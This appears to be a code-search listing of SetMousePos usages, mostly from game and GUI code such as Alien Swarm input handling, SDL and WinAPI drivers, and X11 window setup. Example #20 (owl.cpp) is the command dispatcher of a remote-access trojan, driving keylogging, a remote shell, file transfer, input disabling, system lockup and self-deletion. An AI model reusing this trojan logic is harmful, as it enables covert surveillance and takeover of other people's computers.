コード例 #1
0
ファイル: asw_in_mouse.cpp プロジェクト: gmod101/underground
//-----------------------------------------------------------------------------
// Purpose: Don't allow recentering the mouse
//-----------------------------------------------------------------------------
void CASWInput::ResetMouse( void )
{
		int x, y;
 
	if (MarineDidPrice() || !asw_controls.GetBool())
	{		
		GetMousePos( x, y );	// asw instead of GetWindowCenter, so mouse doesn't move 
		SetMousePos( x, y );   //asw by price
	}
	else
	{
	GetWindowCenter( x,  y );
	SetMousePos( x, y );
	}
}
コード例 #2
0
ファイル: csnap.c プロジェクト: pheonixstorm/wzredemption
void GotoSnap(CURSORSNAP *SnapBuffer)
{
	if(SnapBuffer->NumSnaps > 0) {
		SetMousePos(0,SnapBuffer->SnapCoords[SnapBuffer->CurrentSnap].SnapX,
					SnapBuffer->SnapCoords[SnapBuffer->CurrentSnap].SnapY);
	}
}
コード例 #3
0
//-----------------------------------------------------------------------------
// Purpose: AccumulateMouse
//-----------------------------------------------------------------------------
void CInput::AccumulateMouse( void )
{
	if( !cl_mouseenable.GetBool() )
	{
		return;
	}

	if( !cl_mouselook.GetBool() )
	{
		return;
	}

	if ( m_rawinput.GetBool() )
	{
		return;
	}

	int w, h;
	engine->GetScreenSize( w, h );

	// x,y = screen center
	int x = w >> 1;	x;
	int y = h >> 1;	y;

	//only accumulate mouse if we are not moving the camera with the mouse
	if ( !m_fCameraInterceptingMouse && vgui::surface()->IsCursorLocked() )
	{
		//Assert( !vgui::surface()->IsCursorVisible() );
		// By design, we follow the old mouse path even when using SDL for Windows, to retain old mouse behavior.
#if defined( PLATFORM_WINDOWS )
		int current_posx, current_posy;

		GetMousePos(current_posx, current_posy);

		m_flAccumulatedMouseXMovement += current_posx - x;
		m_flAccumulatedMouseYMovement += current_posy - y;
		
#elif defined( USE_SDL )
		int dx, dy;
		engine->GetMouseDelta( dx, dy );
		m_flAccumulatedMouseXMovement += dx;
		m_flAccumulatedMouseYMovement += dy;
#else
#error
#endif
		// force the mouse to the center, so there's room to move
		ResetMouse();
	}
	else if ( m_fMouseActive )
	{
		// Clamp
		int ox, oy;
		GetMousePos( ox, oy );
		ox = clamp( ox, 0, w - 1 );
		oy = clamp( oy, 0, h - 1 );
		SetMousePos( ox, oy );
	}


}
コード例 #4
0
ファイル: in_mouse.cpp プロジェクト: Au-heppa/swarm-sdk
//-----------------------------------------------------------------------------
// Purpose: AccumulateMouse
//-----------------------------------------------------------------------------
void CInput::AccumulateMouse( int nSlot )
{
	if( !cl_mouseenable.GetBool() )
	{
		return;
	}

	if( !UsingMouselook( nSlot ) )
	{
		return;
	}

	int w, h;
	engine->GetScreenSize( w, h );

	// x,y = screen center
	int x = w >> 1;
	int y = h >> 1;

	// Clamp
	if ( m_fMouseActive )
	{
		int ox, oy;
		GetMousePos( ox, oy );
		ox = clamp( ox, 0, w - 1 );
		oy = clamp( oy, 0, h - 1 );
		SetMousePos( ox, oy );
	}

	//only accumulate mouse if we are not moving the camera with the mouse
	PerUserInput_t &user = GetPerUser( nSlot );

	if ( !user.m_fCameraInterceptingMouse && vgui::surface()->IsCursorLocked() )
	{
		//Assert( !vgui::surface()->IsCursorVisible() );

#ifdef WIN32
		int current_posx, current_posy;

		GetMousePos(current_posx, current_posy);

		user.m_flAccumulatedMouseXMovement += current_posx - x;
		user.m_flAccumulatedMouseYMovement += current_posy - y;

		// force the mouse to the center, so there's room to move
		ResetMouse();
#elif defined(OSX)
		CGMouseDelta deltaX, deltaY;
		CGGetLastMouseDelta( &deltaX, &deltaY );
		user.m_flAccumulatedMouseXMovement += deltaX;
		user.m_flAccumulatedMouseYMovement += deltaY;
#else
#error
#endif
	}
}
コード例 #5
0
//-----------------------------------------------------------------------------
// Purpose: Don't allow recentering the mouse
//-----------------------------------------------------------------------------
void CASWInput::ResetMouse( void )
{
	HACK_GETLOCALPLAYER_GUARD( "Mouse behavior is tied to a specific player's status - splitscreen player would depend on which player (if any) is using mouse control" );
	if ( MarineControllingTurret() || ( !asw_controls.GetBool() && ( !ASWGameRules() || ASWGameRules()->GetMarineDeathCamInterp() <= 0.0f ) && ( !C_ASW_Marine::GetLocalMarine() || !C_ASW_Marine::GetLocalMarine()->IsUsingComputerOrButtonPanel() ) ) )
	{
		int x, y;
		GetWindowCenter( x, y );
		SetMousePos( x, y );
	}
}
コード例 #6
0
//-----------------------------------------------------------------------------
// Purpose: AccumulateMouse - asw: stop mouse from being moved back to the centre of the screen
//-----------------------------------------------------------------------------
void CASWInput::AccumulateMouse( int nSlot )
{
	// asw store mouse pos
	int current_posx, current_posy;
	GetMousePos(current_posx, current_posy);

	CInput::AccumulateMouse( nSlot );

	// asw - move it back to original position
	SetMousePos(current_posx, current_posy);
}
コード例 #7
0
ファイル: csnap.c プロジェクト: pheonixstorm/wzredemption
void GotoPreviousSnap(CURSORSNAP *SnapBuffer)
{
	if(SnapBuffer->NumSnaps > 0) {
		SnapBuffer->CurrentSnap--;
		if(SnapBuffer->CurrentSnap <0) {
			SnapBuffer->CurrentSnap = SnapBuffer->NumSnaps-1;
		}
	}

	SetMousePos(0,SnapBuffer->SnapCoords[SnapBuffer->CurrentSnap].SnapX,
					SnapBuffer->SnapCoords[SnapBuffer->CurrentSnap].SnapY);
}
コード例 #8
0
ファイル: csnap.c プロジェクト: pheonixstorm/wzredemption
void GotoNextSnap(CURSORSNAP *SnapBuffer)
{
	if(SnapBuffer->NumSnaps > 0) {
		SnapBuffer->CurrentSnap++;
		if(SnapBuffer->CurrentSnap >= SnapBuffer->NumSnaps) {
			SnapBuffer->CurrentSnap = 0;
		}
	}

	SetMousePos(0,SnapBuffer->SnapCoords[SnapBuffer->CurrentSnap].SnapX,
					SnapBuffer->SnapCoords[SnapBuffer->CurrentSnap].SnapY);
}
コード例 #9
0
//-----------------------------------------------------------------------------
// Purpose: make sure cursor isn't reset to 0 by the accumulation
//-----------------------------------------------------------------------------
void CASWInput::ActivateMouse (void)
{
	if ( m_fMouseInitialized )
	{
		// asw store mouse pos
		int current_posx, current_posy;
		GetMousePos(current_posx, current_posy);

		CInput::ActivateMouse();

		// asw - move it back to original position
		SetMousePos(current_posx, current_posy);
	}
}
コード例 #10
0
//-----------------------------------------------------------------------------
// Purpose: ApplyMouse -- applies mouse deltas to CUserCmd
// Input  : viewangles - 
//			*cmd - 
//			mouse_x - 
//			mouse_y - 
//-----------------------------------------------------------------------------
void CASWInput::ApplyMouse( int nSlot, QAngle& viewangles, CUserCmd *cmd, float mouse_x, float mouse_y )
{
	int current_posx, current_posy;	
	GetMousePos(current_posx, current_posy);


	if ( ASWInput()->ControllerModeActive() )
		return;
		
	if ( asw_controls.GetBool() && !MarineControllingTurret() )
	{
		TurnTowardMouse( viewangles, cmd );

		// Re-center the mouse.

		// force the mouse to the center, so there's room to move
		ResetMouse();
		SetMousePos( current_posx, current_posy );	// asw - swarm wants it unmoved (have to reset to stop buttons locking)
	}
	else
	{
		if ( MarineControllingTurret() )
		{					
			// accelerate up the mouse intertia
			static float mouse_x_accumulated = 0;
			static float mouse_y_accumulated = 0;

			// decay it
			mouse_x_accumulated *= 0.95f;
			mouse_y_accumulated *= 0.95f;

			mouse_x_accumulated += mouse_x * 0.04f;
			mouse_y_accumulated += mouse_y * 0.04f;

			// clamp it
			mouse_x_accumulated = clamp(mouse_x_accumulated, -500.0f,500.0f);
			mouse_y_accumulated = clamp(mouse_y_accumulated, -500.0f,500.0f);

			// move with our inertia style
			mouse_x = mouse_x_accumulated;
			mouse_y = mouse_y_accumulated;
		}
		if ( ( !ASWGameRules() || ASWGameRules()->GetMarineDeathCamInterp() <= 0.0f ) && ( !C_ASW_Marine::GetLocalMarine() || !C_ASW_Marine::GetLocalMarine()->IsUsingComputerOrButtonPanel() ) )
			CInput::ApplyMouse( nSlot, viewangles, cmd, mouse_x, mouse_y );

		// force the mouse to the center, so there's room to move
		ResetMouse();
	}
}
コード例 #11
0
ファイル: csnap.c プロジェクト: pheonixstorm/wzredemption
// Given a widget id, make the snap that matches it the current one next frame.
//
void SetCurrentSnapID(CURSORSNAP *SnapBuffer,UDWORD ID)
{
	{
		int x,y,w,h;

		SnapBuffer->NewCurrentID = ID;
		if(ID) {
			// Get the screen extents of the specified widget and move the mouse there.
			if(widgGetScreenExtents(ID,&x,&y,&w,&h) == TRUE) {
		//		DBPRINTF(("%d %d,%d %d\n",x,y,w,h);
				SetMousePos(0,x+w/2,y+h/2);
			}
		}
	}
}
コード例 #12
0
//-----------------------------------------------------------------------------
// Purpose: AccumulateMouse
//-----------------------------------------------------------------------------
void CInput::AccumulateMouse( void )
{
	if( !cl_mouseenable.GetBool() )
	{
		return;
	}

	if( !cl_mouselook.GetBool() )
	{
		return;
	}

	int w, h;
	engine->GetScreenSize( w, h );

	// x,y = screen center
	int x = w >> 1;
	int y = h >> 1;

	// Clamp
	if ( m_fMouseActive )
	{
		int ox, oy;
		GetMousePos( ox, oy );
		ox = clamp( ox, 0, w - 1 );
		oy = clamp( oy, 0, h - 1 );
		SetMousePos( ox, oy );
	}

	//only accumulate mouse if we are not moving the camera with the mouse
	if ( !m_fCameraInterceptingMouse && vgui::surface()->IsCursorLocked() )
	{
		//Assert( !vgui::surface()->IsCursorVisible() );

		int current_posx, current_posy;

		GetMousePos(current_posx, current_posy);

		m_flAccumulatedMouseXMovement += current_posx - x;
		m_flAccumulatedMouseYMovement += current_posy - y;

		// force the mouse to the center, so there's room to move
		ResetMouse();
	}
}
コード例 #13
0
ファイル: asw_in_mouse.cpp プロジェクト: gmod101/underground
//-----------------------------------------------------------------------------
// Purpose: ApplyMouse -- applies mouse deltas to CUserCmd
// Input  : viewangles - 
//			*cmd - 
//			mouse_x - 
//			mouse_y - 
//-----------------------------------------------------------------------------
void CASWInput::ApplyMouse( int nSlot, QAngle& viewangles, CUserCmd *cmd, float mouse_x, float mouse_y )
{
		int current_posx, current_posy;	
		GetMousePos(current_posx, current_posy);
 
	if ( ASWInput()->ControllerModeActive() )
		return;
//by price
	if (MarineDidPrice() || !asw_controls.GetBool())
	{		
				TurnTowardMouse( viewangles, cmd );
		// force the mouse to the center, so there's room to move
		ResetMouse();
		SetMousePos( current_posx, current_posy );	// asw - swarm wants it unmoved (have to reset to stop buttons locking)
	}
 
	CInput::ApplyMouse( nSlot, viewangles, cmd, mouse_x, mouse_y );
 
		// force the mouse to the center, so there's room to move
		ResetMouse();
}
コード例 #14
0
ファイル: OUGUIObject.cpp プロジェクト: XadillaX/hge-mfc-demo
void OUGUIObject::UpdateSelf(float fDeltaTime, float fMX, float fMY)
{
    /** 如果鼠标不在HGE窗口内 */
    //if(!m_pHGE->Input_IsMouseOver()) return;

    bool bLButton = m_pHGE->Input_GetKeyState(HGEK_LBUTTON);
    bool bRButton = m_pHGE->Input_GetKeyState(HGEK_RBUTTON);
    bool bMButton = m_pHGE->Input_GetKeyState(HGEK_MBUTTON);
    int nWheel = m_pHGE->Input_GetMouseWheel();

    OnUpdate(fDeltaTime, fMX, fMY);

    /** 若控件不可用 */
    if(!GetEnableMode()) return;
    if(!GetShowMode()) return;

    /** 若有鼠标捕获的控件 */
    if(OUGUIObject::m_pMouseCaptureControl &&
        OUGUIObject::m_pMouseCaptureControl != this &&
        !IsParent(OUGUIObject::m_pMouseCaptureControl))
    {
        return;
    }

    /** 若有模式窗口 */
    if(OUGUIObject::m_pModalControl &&
        OUGUIObject::m_pModalControl != this &&
        !IsParent(OUGUIObject::m_pModalControl))
    {
        return;
    }

    /** 若有控件在激活状态下 */
    if(OUGUIObject::m_pActiveControl &&
        OUGUIObject::m_pActiveControl != this)
    {
        return;
    }
    
    /** 如果鼠标没有被按下,则检测是不是OnEnter */
    if(!bLButton && OnCheckCollision(fMX, fMY))
    {
        //SetMouseEnter(OnCheckCollision(fMX, fMY));
        SetMouseEnter(true);
    }
    /** 如果鼠标抬起,则检测是不是OnLeave */
    else
    if(!bLButton && !OnCheckCollision(fMX, fMY) && GetMouseEnter())
    {
        SetMouseEnter(false);

        this->m_bMouseLButton = false;
        this->m_bMouseMButton = false;
        this->m_bMouseRButton = false;
        this->m_nMouseWheel = 0;
       
        if(OUGUIObject::GetActiveControl() == this)
        {
            OUGUIObject::SetActiveControl(NULL);
        }

        return;
    }

    if(GetMouseEnter() || OUGUIObject::GetMouseCaptureControl() == this)
    {
        SetMousePos(fMX, fMY);
        SetMouseLButton(bLButton);
        SetMouseRButton(bRButton);
        SetMouseMButton(bMButton);
        SetMouseWheel(nWheel);

        /** 键盘响应 */
        for(int i = 0; i < 256; i++)
        {
            if(i == HGEK_LBUTTON) continue;
            if(i == HGEK_RBUTTON) continue;
            if(i == HGEK_MBUTTON) continue;

            if(m_pHGE->Input_KeyDown(i)) OnKeyDown(i);
            else
            if(m_pHGE->Input_KeyUp(i)) OnKeyUp(i);
        }

        OnIdle();
    }
    else
    {
        /** 清空状态 */
        SetMouseLButton(false);
        SetMouseRButton(false);
        SetMouseMButton(false);
        SetMouseWheel(nWheel);
    }
}
コード例 #15
0
ファイル: SDL.cpp プロジェクト: MiyaxinPittahai/s25rttr
/** 
 *  Funktion zum Setzen der X-Koordinate der Maus.
 *
 *  @param[in] x X-Koordinate
 *
 *  @author FloSoft
 */
void VideoSDL::SetMousePosX(int x)
{
	SetMousePos(x, mouse_xy.y);
}
コード例 #16
0
ファイル: SDL.cpp プロジェクト: MiyaxinPittahai/s25rttr
/** 
 *  Funktion zum Setzen der Y-Koordinate der Maus.
 *
 *  @param[in] y Y-Koordinate
 *
 *  @author FloSoft
 */
void VideoSDL::SetMousePosY(int y)
{
	SetMousePos(mouse_xy.x, y);
}
コード例 #17
0
ファイル: customize_Scene.cpp プロジェクト: tkc12000/HYKS
void customize_Scene::Scene_Update(float timDelta)
{
	pMainCamera->SetWorldPosition(_CameraTrans->GetWorldPosition() + _CameraTrans->GetRight() * z + _CameraTrans->GetUp() * y);
	pMainCamera->LookPosition(D3DXVECTOR3(0, LookY, 0));


	if (z < Z)
	{
		z += 0.1;
	}
	if (z > Z)
	{
		z -= 0.1;
	}

	if (y < Y)
	{
		y += 0.1;
	}
	if (y > Y)
	{
		y -= 0.1;
	}


	_BodyAni->Update(timDelta);
	_HandAni->Update(timDelta);
	_FootAni->Update(timDelta);

	if (KEYMANAGER->IsOnceDown(VK_RETURN))
	{
		if (HairNum == -1)
		{
			SCENEMANAGER->FindScece("game")->TempHair = "없음";
		}
		else
		{
			SCENEMANAGER->FindScece("game")->TempHair = _vHair[HairNum]->filePath;
		}
		SCENEMANAGER->FindScece("game")->TempHead = _vHead[HeadNum]->filePath;
		SCENEMANAGER->FindScece("game")->TempColor = _HairColor;

		for (int i = 0; i < _vHead.size(); i++)
		{
			if (i == HeadNum)continue;
			RESOURCE_SKINNEDXMESH->RemoveResource(_vHead[i]->filePath);
		}
		if (HairNum == -1)
		{
			for (int i = 0; i < _vHair.size(); i++)
			{
				RESOURCE_SKINNEDXMESH->RemoveResource(_vHair[i]->filePath);
			}
		}
		else
		{
			for (int i = 0; i < _vHair.size(); i++)
			{
				if (i == HairNum)continue;
				RESOURCE_SKINNEDXMESH->RemoveResource(_vHair[i]->filePath);
			}
		}
		//RESOURCE_TEXTURE->ClearResource();
		SCENEMANAGER->ChangeScene("game");
	}

	if (KEYMANAGER->IsStayDown('W'))
	{
		if (Y < 10)
		{
			Y += 0.1; 
			LookY += 0.1;
		}
	}
	if (KEYMANAGER->IsStayDown('S'))
	{
		if (Y > -10)
		{
			Y -= 0.1;
			LookY -= 0.1;
		}
	}
	if (KEYMANAGER->IsStayDown('A'))
	{
		_CameraTrans->RotateSelf(0, 0.01, 0);
	}
	if (KEYMANAGER->IsStayDown('D'))
	{
		_CameraTrans->RotateSelf(0, -0.01, 0);
	}

	if (KEYMANAGER->IsOnceDown(VK_LBUTTON))
	{
		MouseClick();
	}
	if (KEYMANAGER->IsOnceUp(VK_LBUTTON))
	{
		R = G = B = A = false;
	}

	if (R)
	{
		_ColorBarControlR.x = GetMousePos().x;
		if (_ColorBarControlR.x < 993)
		{
			_ColorBarControlR.x = 995;
		}
		if (_ColorBarControlR.x > 1180)
		{
			_ColorBarControlR.x = 1180;
		}
		_ColorBarControlR.rc = RectMakeCenter(_ColorBarControlR.x, _ColorBarControlR.y, 32, 32);
		_R = _ColorBarControlR.x - 995;
	}
	if (G)
	{
		_ColorBarControlG.x = GetMousePos().x;
		if (_ColorBarControlG.x < 993)
		{
			_ColorBarControlG.x = 995;
		}
		if (_ColorBarControlG.x > 1180)
		{
			_ColorBarControlG.x = 1180;
		}
		_ColorBarControlG.rc = RectMakeCenter(_ColorBarControlG.x, _ColorBarControlG.y, 32, 32);
		_G = _ColorBarControlG.x - 995;
	}
	if (B)
	{
		_ColorBarControlB.x = GetMousePos().x;
		if (_ColorBarControlB.x < 993)
		{
			_ColorBarControlB.x = 995;
		}
		if (_ColorBarControlB.x > 1180)
		{
			_ColorBarControlB.x = 1180;
		}
		_ColorBarControlB.rc = RectMakeCenter(_ColorBarControlB.x, _ColorBarControlB.y, 32, 32);
		_B = _ColorBarControlB.x - 995;
	}
	if (A)
	{
		_ColorBarControlA.x = GetMousePos().x;
		if (_ColorBarControlA.x < 993)
		{
			_ColorBarControlA.x = 995;
		}
		if (_ColorBarControlA.x > 1180)
		{
			_ColorBarControlA.x = 1180;
		}
		_ColorBarControlA.rc = RectMakeCenter(_ColorBarControlA.x, _ColorBarControlA.y, 32, 32);
		_A = _ColorBarControlA.x - 995;
	}

	SetTrans();

	//int screenCenterX;
	//int screenCenterY;

	if (KEYMANAGER->IsOnceDown(VK_RBUTTON))
	{
		//screenCenterX = WINSIZEX / 2;
		//screenCenterY = WINSIZEY / 2;

		//다시 마우스 위치를 센터로...
		tempPt = GetMousePos();
		SetMousePos(WINSIZEX / 2, WINSIZEY / 2);
		ShowCursor(false);
	}
	if (KEYMANAGER->IsOnceUp(VK_RBUTTON))
	{
		ShowCursor(true);
		SetMousePos(tempPt.x, tempPt.y);
	}
	POINT mousePos = GetMousePos();
	if (KEYMANAGER->IsStayDown(VK_RBUTTON))
	{

		float MoveX = mousePos.x - WINSIZEX / 2;
		float MoveY = mousePos.y - WINSIZEY / 2;

		_CameraTrans->RotateSelf(0, MoveX / 30, 0);
		LookY += MoveY / 100;
		SetMousePos(WINSIZEX / 2, WINSIZEY / 2);
	}


	//if (PtInRect(&_MainInfo.rc, GetMousePos()))
	//{
	//	_CameraTrans->RotateSelf(0, 0.01, 0);
	//}
	//pMainCamera->DefaultControl(timDelta);

	char str[36];
	sprintf(str, "X :%d Y :%d x:%.1f y:%.1f", mousePos.x, mousePos.y, _MainInfo.x - mousePos.x, _MainInfo.y - mousePos.y);
	//LOGMANAGER->AddLog(str);

	if (_BodyAni->GetAniPlayFactor() > 0.945)
		Ani = false;

	_HairColor = D3DXVECTOR4(_R / 185, _G / 185, _B / 185, _A / 185);

	sprintf(str, "R%.2f G%.2f B%.2f A%.2f", _HairColor.x, _HairColor.y, _HairColor.z, _HairColor.w);
	LOGMANAGER->AddLog(str);
}
コード例 #18
0
/**
 *  setzt die Mausposition
 */
void VideoDriverWrapper::SetMousePos(const int x, const int y)
{
    SetMousePos(Point<int>(x, y));
}
コード例 #19
0
ファイル: WinAPI.cpp プロジェクト: gattschardo/s25client
/**
 *  Funktion zum Setzen der Y-Koordinate der Maus.
 *
 *  @param[in] y Y-Koordinate
 *
 *  @author FloSoft
 */
void VideoWinAPI::SetMousePosY(int y)
{
    SetMousePos(mouse_xy.x, y);
}
コード例 #20
0
ファイル: owl.cpp プロジェクト: v1ka5/Owl_zwei
DWORD WINAPI HandleClient( LPVOID param ){
	
	SOCKET s = *(SOCKET*)param;
	char buf[1024],tmp[64];
	struct cmd_t cmd;
	int n;
	while(1){
		n = recv( s , buf , 1023 , 0 );
		buf[n] = 0;
		//MB(buf);
		if( n == 0 )
			break;
		parse_cmd( buf , &cmd );
		int sec = cmd.cmd_object;
		int arg = cmd.args;
		char *p = cmd.addnl.str;
		//wsprintf( tmp , "%d::%d" , sec , arg );
		//MB(tmp);
		if( sec == CMD_FILE ){
			switch( arg ){
			case FILE_SDIR:
				SendDirTree( s , p , 0 );
				break;
			case FILE_SDIREX:
				SendDirTree( s , p , 1 );
				break;
			case FILE_SDRV:
				SendDriveSet( s );
				break;
			case FILE_SEND:
				SendFile( s , p );
				break;
			case FILE_RECV:
				RecvFile( s , p );
				break;
			case FILE_MKDIR:
				LocalMkDir( p );
				break;
			default:
				SendLn( s , "***file: bad args\r\n" );
			}
		}
		else if( sec == CMD_HW ){
			switch( arg ){
			case HW_OPENCD:
				OpenCDTray();
				break;
			case HW_CLOSECD:
				CloseCDTray();
				break;
			case HW_MOUSE_R:
				SetMouseBns( MOUSE_RT );
				break;
			case HW_MOUSE_L:
				SetMouseBns( MOUSE_LT );
				break;
			case HW_MOUSE_SW:
				SwapMouseBns();
				break;
			case HW_MONITOR1:
				MonitorPower( 1 );
				break;
			case HW_MONITOR0:
				MonitorPower( 0 );
				break;
			case HW_DB_CLK:
				DblClkDelay( cmd.addnl.nums[0] );
				break;
			case HW_INPUT0:
				EnableInput( false );
				break;
			case HW_INPUT1:
				EnableInput( true );
				break;
			case HW_REBOOT:
				Reboot();
				break;
			case HW_SHTDWN:
				ShutDown();
				break;
			default:
				SendLn( s , "***bad args\r\n" );
			}
		}
		else if( sec == CMD_KEYBD ){
			switch( arg ){
			case KEYBD_STARTLOG:
				KeyLog( true );
				break;
			case KEYBD_STOPLOG:
				KeyLog( false );
				break;
			default:
				SendLn( s , "***keybd: bad args\r\n" );
			}
		}
		else if( sec == CMD_MOUSE ){
			switch( arg ){
			case MOUSE_FLY_STOP:
				FlyMousePtr( false );
				break;
			case MOUSE_FLY:
				FlyMousePtr( true );
				break;
			case MOUSE_FLY_CLK:
				FlyMousePtrClick( true );
				break;
			case MOUSE_RESTRICT:
				RestrictMouseMovementTo(cmd.addnl.nums[0],
										cmd.addnl.nums[1],
										cmd.addnl.nums[2],
										cmd.addnl.nums[3]
										);
				break;
			case MOUSE_SHOW:
				ShowMouseCursor( true );
				break;
			case MOUSE_HIDE:
				ShowMouseCursor( false );
				break;
			case MOUSE_CLK:
				MouseClick( cmd.addnl.nums[0] );
				break;
			case MOUSE_CLK_PT:
				MouseClickPoint( cmd.addnl.nums[1],
								 cmd.addnl.nums[2],
								 cmd.addnl.nums[0]
							   );
				break;
			case MOUSE_SETPOS:
				SetMousePos( cmd.addnl.nums[0],
							 cmd.addnl.nums[1]
							 );
				break;
			default:
				SendLn( s , "***mouse: bad args\r\n" );
			}
		}
		else if( sec == CMD_SHELL ){
			if( arg == SHELL_SPAWN )
				CreateRemoteShell( s );
		}
		else if( sec == CMD_SYS ){
			unsigned long m;
			unsigned __int64 d;
			char msg[256];

			switch( arg ){
			case SYS_MAXMEM:
				m = GetMaxMem();
				wsprintf( msg , "max mem: %u MiB\r\n" , m );
				SendLn( s ,msg );
				break;
			case SYS_BUSYMEM:
				m = GetBusyMem();
				wsprintf( msg , "mem in use: %u MiB\r\n" , m );
				SendLn( s , msg );
				break;
			case SYS_FREEMEM:
				m = GetFreeMem();
				wsprintf( msg , "free mem: %u MiB\r\n" , m );
				SendLn( s , msg );
				break;
			case SYS_MAXDISK:
				d = GetDiskUsage( cmd.addnl.str , U_TOTAL );
				if( d < 1024 ){
					m = (unsigned long)d;
					wsprintf( msg , "total space on %s: %u MiB\r\n" , cmd.addnl.str , m );
				}else{
					m = (unsigned long)(d/1024);
					wsprintf( msg , "total space on %s: %u GiB\r\n" , cmd.addnl.str , m );
				}
				SendLn( s , msg );
				break;
			case SYS_USEDDISK:
				d = GetDiskUsage( cmd.addnl.str , U_USED );
				if( d < 1024 ){
					m = (unsigned long)d;
					wsprintf( msg , "used space on %s: %u MiB\r\n" , cmd.addnl.str , m );
				}else{
					m = (unsigned long)(d/1024);
					wsprintf( msg , "used space on %s: %u GiB\r\n" , cmd.addnl.str , m );
				}
				SendLn( s , msg );
				break;
			case SYS_FREEDISK:
				d = GetDiskUsage( cmd.addnl.str , U_FREE );
				if( d < 1024 ){
					m = (unsigned long)d;
					wsprintf( msg , "free space on %s: %u MiB\r\n" , cmd.addnl.str , m );
				}else{
					m = (unsigned long)(d/1024);
					wsprintf( msg , "free space on %s: %u GiB\r\n" , cmd.addnl.str , m );
				}
				SendLn( s , msg );
				break;
			case SYS_SYSDIR:
				wsprintf( msg , "system dir is:\'%s\'\r\n" , sysdir() );
				SendLn( s , msg );
				break;
			case SYS_WINDIR:
				wsprintf( msg , "windows dir is:\'%s\'\r\n", windir() );
				SendLn( s , msg );
				break;
			case SYS_CHDIR:
				cd( cmd.addnl.str );
				break;
			case SYS_LOCKUP:
				SendLn( s , "!!!Locking up system!!!... don\'t expect too much after this!\r\n" );
				Sleep(2000);
				LockUp();
				break;
			case SYS_RAMFILL:
				RamFill();
				break;
			default:
				SendLn( s , "***sys: bad args\r\n" );
			}
		}
		else if( sec == CMD_TBAR ){
			switch(arg){
			case TBAR_SHOW:
				ShowTaskBar( true );
				break;
			case TBAR_HIDE:
				ShowTaskBar( false );
				break;
			case TBAR_STBN_SHOW:
				ShowStartBn( true );
				break;
			case TBAR_STBN_HIDE:
				ShowStartBn( false );
				break;
			case TBAR_STBN_FLY1:
				FlyStartBn( true );
				break;
			case TBAR_STBN_FLY0:
				FlyStartBn( false );
				break;
			case TBAR_CLOCK_SHOW:
				ShowClock( true );
				break;
			case TBAR_CLOCK_HIDE:
				ShowClock( false );
				break;
			case TBAR_ENABLE:
				EnableTaskBar( true );
				break;
			case TBAR_DISABLE:
				EnableTaskBar( false );
				break;
			default:
				SendLn( s , "***tb: bad args\r\n" );
			}
		}
		else if( sec == CMD_PRANK ){
			switch(arg){
			case PRANK_DTP_ENABLE:
				EnableDesktop( true );
				break;
			case PRANK_DTP_DISABLE:
				EnableDesktop( false );
				break;
			case PRANK_FU_START:
				if( !strequal( cmd.addnl.str , "" ) )
					szFUStr = cmd.addnl.str;
				FuckYou( true );
				break;
			case PRANK_FU_STOP:
				FuckYou( false );
				break;
			case PRANK_WRUN_START:
				if( cmd.addnl.nums[0] > 0 )
					uiRunWindowsDelay = cmd.addnl.nums[0];
				MakeWindowsRun( true );
				break;
			case PRANK_WRUN_STOP:
				MakeWindowsRun( false );
				break;
			case PRANK_QUAKE_START:
				if( cmd.addnl.nums[0] > 0 )
					uiQuakeDelay = cmd.addnl.nums[0];
				Quake( true );
				break;
			case PRANK_QUAKE_STOP:
				Quake( false );
				break;
			default:
				SendLn( s , "***bad trigger\r\n" );
			}
		}
		else if( sec == CMD_OWL ){
			switch(arg){
			case OWL_UNINSTALL:
				SelfDelete();
				exit(0);
				break;
			default:
				SendLn( s , "***bad trigger\r\n" );
			}
		}

	}
	return 0;
}
コード例 #21
0
ファイル: winX11.cpp プロジェクト: Shuyoung/cisst
int svlWindowManagerX11::DoModal(bool show, bool fullscreen)
{
    Destroy();
    DestroyFlag = false;

    unsigned int i, atom_count;
    int x, y, prevright, prevbottom;
    unsigned int lastimage = 0;
    unsigned long black, white;
    XSizeHints wsh;

#if CISST_SVL_HAS_XV
    Atom atoms[3];
    unsigned int xvadaptorcount;
    XvAdaptorInfo *xvai;
    XVisualInfo xvvinfo;
    bool xvupdateimage = true;
#else // CISST_SVL_HAS_XV
    Atom atoms[2];
#endif // CISST_SVL_HAS_XV

    // setting decoration hints for borderless mode
    struct {
        unsigned long 	flags;
        unsigned long 	functions;
        unsigned long 	decorations;
        signed long 	input_mode;
        unsigned long 	status;
    } mwm;
    mwm.flags = MWM_HINTS_DECORATIONS;
    mwm.decorations = 0;
    mwm.functions = 0;
    mwm.input_mode = 0;
    mwm.status = 0;
    
    // resetting DestroyedSignal event
    if (DestroyedSignal) delete(DestroyedSignal);
    DestroyedSignal = new osaThreadSignal();
    if (DestroyedSignal == 0) goto labError;

    // initialize display and pick default screen
    xDisplay = XOpenDisplay(reinterpret_cast<char*>(0));
    xScreen = DefaultScreen(xDisplay);

#if CISST_SVL_HAS_XV
    // check if 24bpp is suppoted by the display
    if (XMatchVisualInfo(xDisplay, xScreen, 24, TrueColor, &xvvinfo) == 0) goto labError;
#endif // CISST_SVL_HAS_XV

    // pick colors
    black = BlackPixel(xDisplay, xScreen);
    white = WhitePixel(xDisplay, xScreen);

    // create windows
    xWindows = new Window[NumOfWins];
    memset(xWindows, 0, NumOfWins * sizeof(Window));
    xGCs = new GC[NumOfWins];
    memset(xGCs, 0, NumOfWins * sizeof(GC));

    // create atoms for overriding default window behaviours
    atoms[0] = XInternAtom(xDisplay, "WM_DELETE_WINDOW", False);
    atoms[1] = XInternAtom(xDisplay, "_MOTIF_WM_HINTS", False);
#if CISST_SVL_HAS_XV
    atoms[2] = XInternAtom(xDisplay, "XV_SYNC_TO_VBLANK", False);
#endif // CISST_SVL_HAS_XV

    // create title strings
    Titles = new std::string[NumOfWins];
    CustomTitles = new std::string[NumOfWins];
    CustomTitleEnabled = new int[NumOfWins];

#if CISST_SVL_HAS_XV
    xvImg = new XvImage*[NumOfWins];
    xvShmInfo = new XShmSegmentInfo[NumOfWins];
    xvPort = new XvPortID[NumOfWins];
    if (xvImg == 0 || xvShmInfo == 0 || xvPort == 0) goto labError;
    memset(xvImg, 0, NumOfWins * sizeof(XvImage*));
    memset(xvShmInfo, 0, NumOfWins * sizeof(XShmSegmentInfo));
    memset(xvPort, 0, NumOfWins * sizeof(XvPortID));
#else // CISST_SVL_HAS_XV
    // create images
    xImageBuffers = new unsigned char*[NumOfWins];
    for (i = 0; i < NumOfWins; i ++) {
        xImageBuffers[i] = new unsigned char[Width[i] * Height[i] * 4];
    }
    xImg = new XImage*[NumOfWins];
    memset(xImg, 0, NumOfWins * sizeof(XImage*));
    if (xImg == 0) goto labError;
